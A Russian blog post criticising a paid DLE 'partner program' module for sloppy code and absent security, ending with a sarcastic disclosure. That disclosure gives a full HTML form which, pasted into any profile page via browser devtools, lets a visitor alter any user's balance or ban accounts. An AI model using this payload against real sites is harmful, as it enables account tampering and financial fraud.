Как НЕ надо писать модули для DLE или очень наглядный пример поведения типичного быдлокодера
ПафНутиЙ 05.02.2014 фейспалм, быдлокод, как не надо делать Блог 7438 60 комментариев
Сегодня будет не совсем обычный пост т.к. не в моих правилах публично выливать
Речь пойдёт о знаменитом в очень узких кругах модуле "Партнёрская программа v.1.1", собравшим кучу минусов на провеббере.
Я специально купил и даже установил модуль на локалке, дабы не ограничиваться простым изучением исходного
Предисловие
Изначально я не планировал покупать модуль, но вот этот комментарий
а так же ветка на провеббере, где автор кидается подобными фразами, заставил пойти на принцип, расстаться с "кровными деревянными" в количестве 250р (придётся разок не попить пива) и укрепить своё мнение.
Как и ожидалось (но честно надеялся на обратное) модуль в целом выглядит так же как и оценен пользователями - хреново, хотя вроде как работает, но обо всём по порядку.
Как писался модуль (история в картинках)
Для промотра истории создания модуля по большому счёту достаточно пролистать вопросы пользователя golden_eagle_god начиная с самых первых.
Я же кратко приведу некоторые ключевые моменты.
Тут у человека просто проблемы с гуглом, возможно отключили за неуплату.
Тут тоже всё понятно, исходники DLE смотрят только лохи, лучше задать тупой вопрос на dle-faq.ru
Тут разрабатывалась одна из фишек модуля с отправкой email-уведомления на вывод средств.
Пишем функционал настроек модуля (кстати мой ответ довольно тупой на самом деле, наверное тоже гугл отключился за неуплату, но зато под стать вопросу). А вот и предыдущий вопрос, в котором прямо кусок кода модуля приведён.
Как сказал Sander - Детские болячки.
Пишем функционал удаления денег со счёта юзера при удалении комментариев. Кстати комментарии наглядно демонстрируют отношение автора к помощи (срочно надо, но код не покажу - гадайте сами).
Без комментариев - тут даже начинающий прогер додумается заглянуть в исходники dle на предмет наличия там похожего кода. Ну и ещё комментарий в подтверждение отношения автора к помощи.
Думаю истории хватит, перейдём к разбору модуля.
Смотрим на получившийся модуль
Нет, выкладывать модуль я не буду, как бы мне этого не хотелось - не все правила стоит нарушать, даже не писанные, так что скачать бесплатно, без регистрации и смс, на высокой скорости не получится
Код тоже не буду приводить (дабы не помогать автору исправить его быдлокод ну и не позорить страницы блога на этом сайте), пробегусь лишь тезисно:
- Форматирование кода? Не, не слышал, я пишу всё без отступоф, забиваю на правила, эти правила форматирования кода придумали идиоты.
- Безопасность скрипта? ПФФФФ - для параноиков!
- Обработка входящих данных? Вы прикалываетесь чтоле!? Кому это надо в нашей стране нет кулхацкеров?
Ну и на последок лайфхак для пользователей, на сайте которых установлен (надеюсь таких сайтов нет) этот чудо модуль:
Хотите управлять "партнёркой" любого пользователя (в т.ч. админа)? Всё очень просто:
Открываем отладчик в браузере на странице интересующего профиля ползователя, редактируем любой элемент на странице как html
вставляем вот этот код:
<form method="post" name="userinfo" id="userinfo" enctype="multipart/form-data">
<input style="width: 140px;" type="number" maxlength="45" name="money_config" class="f_input">
<button name="plus" type="submit" title="Прибавить определенное количество денег">+</button>
<button name="minus" type="submit" title="Отнять определенное количество денег">-</button>
<button name="set" type="submit" title="Установить количество денег, сколько указано в поле">Установить</button>
<button name="null" type="submit" title="Обнулить деньги у данного пользователя">Обнулить</button>
<textarea name="ban-text" style="width:70%;height:150px"></textarea>
<button name="ban-ok" type="submit">Заблокировать</button>
<button name="ban-off" type="submit">Разблокировать пользователя</button>
</form>
далее делаем всё, что угодно.
Это самый безобидный способ навредить сайту через модуль.
В заключение
Из всего вышесказанного можно сделать однозначный вывод: Прежде чем продавать - научись хотя бы писать код и не задавать идиотских вопросов.
Надеюсь у рассматриваемого автора хватит ума адекватно среагировать на пост, взять себя в руки и начать таки "учить матчасть", делать сначала дерьмовые бесплатные модули, потом хорошие бесплатные и потом только хорошие платные.
Удачи Golden_eagle_god!